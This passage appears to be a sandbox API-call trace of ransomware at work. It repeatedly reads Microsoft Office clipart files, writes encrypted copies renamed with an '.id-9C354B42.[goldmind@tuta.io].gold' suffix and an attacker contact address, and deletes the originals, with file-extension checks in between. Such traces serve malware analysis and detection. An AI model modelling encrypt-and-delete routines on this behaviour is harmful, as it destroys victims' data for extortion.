WriteFile (in: hFile=0x3f8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.512] SetEndOfFile (hFile=0x3f8) returned 1 [0113.512] CloseHandle (hObject=0x3f8) returned 1 [0113.512] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.512] SetEndOfFile (hFile=0x398) returned 1 [0113.514] CloseHandle (hObject=0x398) returned 1 [0113.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.515] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf")) returned 1 [0113.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0113.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0113.516] lstrlenW (lpString=".doc") returned 4 [0113.516] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.516] lstrlenW (lpString=".docx") returned 5 [0113.516] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0113.516] lstrlenW (lpString=".pdf") returned 4 [0113.516] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.516] lstrlenW (lpString=".xls") returned 4 [0113.516] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.516] lstrlenW (lpString=".xlsx") returned 5 [0113.516] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0113.516] lstrlenW (lpString=".ppt") returned 4 [0113.516] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0113.516] lstrlenW (lpString=".zip") returned 4 [0113.516] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.516] lstrlenW (lpString=".rar") returned 4 [0113.516] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.516] lstrlenW (lpString=".bz2") returned 4 [0113.516] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.516] lstrlenW (lpString=".7z") returned 3 [0113.516] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0113.516] lstrlenW (lpString=".dbf") returned 4 [0113.516] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0113.516] lstrlenW (lpString=".1cd") returned 4 [0113.516] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0113.516] lstrlenW (lpString=".jpg") returned 4 [0113.516] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0113.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0113.516] lstrlenW (lpString=".doc") returned 4 [0113.516] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.516] lstrlenW (lpString=".docx") returned 5 [0113.516] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0113.516] lstrlenW (lpString=".pdf") returned 4 [0113.516] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.516] lstrlenW (lpString=".xls") returned 4 [0113.517] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.517] lstrlenW (lpString=".xlsx") returned 5 [0113.517] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0113.517] lstrlenW (lpString=".ppt") returned 4 [0113.517] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0113.517] lstrlenW (lpString=".zip") returned 4 [0113.517] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.517] lstrlenW (lpString=".rar") returned 4 [0113.517] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.517] lstrlenW (lpString=".bz2") returned 4 [0113.517] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.517] lstrlenW (lpString=".7z") returned 3 [0113.517] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0113.517] lstrlenW (lpString=".dbf") returned 4 [0113.517] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0113.517] lstrlenW (lpString=".1cd") returned 4 [0113.517] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0113.517] lstrlenW (lpString=".jpg") returned 4 [0113.517] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.517] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.517] lstrlenW (lpString="J0187815.WMF") returned 12 [0113.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0113.526] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=5376) returned 1 [0113.527] CloseHandle (hObject=0x364) returned 1 [0113.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf")) returned 0x20 [0113.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0113.529] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.529] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0113.530] GetLastError () returned 0x0 [0113.530] ReadFile (in: hFile=0x364, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x1500, lpOverlapped=0x0) returned 1 [0113.531] WriteFile (in: hFile=0x3d4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1510, lpOverlapped=0x0) returned 1 [0113.532] ReadFile (in: hFile=0x364, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.532] WriteFile (in: hFile=0x3d4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.532] SetEndOfFile (hFile=0x3d4) returned 1 [0113.534] CloseHandle (hObject=0x3d4) returned 1 [0113.534] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.534] SetEndOfFile (hFile=0x364) returned 1 [0113.536] CloseHandle (hObject=0x364) returned 1 [0113.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.536] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf")) returned 1 [0113.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0113.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0113.537] lstrlenW (lpString=".doc") returned 4 [0113.537] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.537] lstrlenW (lpString=".docx") returned 5 [0113.537] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0113.537] lstrlenW (lpString=".pdf") returned 4 [0113.537] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.538] lstrlenW (lpString=".xls") returned 4 [0113.538] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.538] lstrlenW (lpString=".xlsx") returned 5 [0113.538] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0113.538] lstrlenW (lpString=".ppt") returned 4 [0113.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0113.538] lstrlenW (lpString=".zip") returned 4 [0113.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.538] lstrlenW (lpString=".rar") returned 4 [0113.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.538] lstrlenW (lpString=".bz2") returned 4 [0113.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.538] lstrlenW (lpString=".7z") returned 3 [0113.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0113.538] lstrlenW (lpString=".dbf") returned 4 [0113.538] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0113.538] lstrlenW (lpString=".1cd") returned 4 [0113.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0113.538] lstrlenW (lpString=".jpg") returned 4 [0113.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0113.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0113.538] lstrlenW (lpString=".doc") returned 4 [0113.538] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.538] lstrlenW (lpString=".docx") returned 5 [0113.538] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0113.538] lstrlenW (lpString=".pdf") returned 4 [0113.538] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.538] lstrlenW (lpString=".xls") returned 4 [0113.538] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.538] lstrlenW (lpString=".xlsx") returned 5 [0113.538] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0113.538] lstrlenW (lpString=".ppt") returned 4 [0113.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0113.538] lstrlenW (lpString=".zip") returned 4 [0113.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.538] lstrlenW (lpString=".rar") returned 4 [0113.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.538] lstrlenW (lpString=".bz2") returned 4 [0113.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.538] lstrlenW (lpString=".7z") returned 3 [0113.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0113.539] lstrlenW (lpString=".dbf") returned 4 [0113.539] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0113.539] lstrlenW (lpString=".1cd") returned 4 [0113.539] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0113.539] lstrlenW (lpString=".jpg") returned 4 [0113.539] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.539] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.539] lstrlenW (lpString="J0187817.WMF") returned 12 [0113.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0113.542] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=11644) returned 1 [0113.542] CloseHandle (hObject=0x364) returned 1 [0113.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf")) returned 0x20 [0113.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0113.542] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.542] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0113.543] GetLastError () returned 0x0 [0113.543] ReadFile (in: hFile=0x364, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x2d7c, lpOverlapped=0x0) returned 1 [0113.545] WriteFile (in: hFile=0x3d4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x2d80, lpOverlapped=0x0) returned 1 [0113.546] ReadFile (in: hFile=0x364, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.546] WriteFile (in: hFile=0x3d4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.546] SetEndOfFile (hFile=0x3d4) returned 1 [0113.546] CloseHandle (hObject=0x3d4) returned 1 [0113.546] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.546] SetEndOfFile (hFile=0x364) returned 1 [0113.548] CloseHandle (hObject=0x364) returned 1 [0113.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.549] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf")) returned 1 [0113.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0113.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0113.550] lstrlenW (lpString=".doc") returned 4 [0113.550] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.550] lstrlenW (lpString=".docx") returned 5 [0113.550] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0113.550] lstrlenW (lpString=".pdf") returned 4 [0113.550] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.550] lstrlenW (lpString=".xls") returned 4 [0113.550] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.550] lstrlenW (lpString=".xlsx") returned 5 [0113.550] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0113.550] lstrlenW (lpString=".ppt") returned 4 [0113.550] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0113.550] lstrlenW (lpString=".zip") returned 4 [0113.550] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.550] lstrlenW (lpString=".rar") returned 4 [0113.550] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.550] lstrlenW (lpString=".bz2") returned 4 [0113.550] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.550] lstrlenW (lpString=".7z") returned 3 [0113.550] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0113.550] lstrlenW (lpString=".dbf") returned 4 [0113.550] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0113.550] lstrlenW (lpString=".1cd") returned 4 [0113.550] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0113.550] lstrlenW (lpString=".jpg") returned 4 [0113.550] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0113.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0113.550] lstrlenW (lpString=".doc") returned 4 [0113.550] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.550] lstrlenW (lpString=".docx") returned 5 [0113.550] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0113.550] lstrlenW (lpString=".pdf") returned 4 [0113.550] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.550] lstrlenW (lpString=".xls") returned 4 [0113.550] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.550] lstrlenW (lpString=".xlsx") returned 5 [0113.550] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0113.550] lstrlenW (lpString=".ppt") returned 4 [0113.550] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0113.550] lstrlenW (lpString=".zip") returned 4 [0113.550] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.550] lstrlenW (lpString=".rar") returned 4 [0113.550] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.551] lstrlenW (lpString=".bz2") returned 4 [0113.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.551] lstrlenW (lpString=".7z") returned 3 [0113.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0113.551] lstrlenW (lpString=".dbf") returned 4 [0113.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0113.551] lstrlenW (lpString=".1cd") returned 4 [0113.551] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0113.551] lstrlenW (lpString=".jpg") returned 4 [0113.551] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.551] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.551] lstrlenW (lpString="J0187819.WMF") returned 12 [0113.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0113.552] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=10352) returned 1 [0113.552] CloseHandle (hObject=0x364) returned 1 [0113.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf")) returned 0x20 [0113.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0113.553] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.553] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0113.554] GetLastError () returned 0x0 [0113.554] ReadFile (in: hFile=0x364, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x2870, lpOverlapped=0x0) returned 1 [0113.667] WriteFile (in: hFile=0x3d4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x2880, lpOverlapped=0x0) returned 1 [0113.668] ReadFile (in: hFile=0x364, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.668] WriteFile (in: hFile=0x3d4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.668] SetEndOfFile (hFile=0x3d4) returned 1 [0113.668] CloseHandle (hObject=0x3d4) returned 1 [0113.668] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.668] SetEndOfFile (hFile=0x364) returned 1 [0113.670] CloseHandle (hObject=0x364) returned 1 [0113.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.690] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft 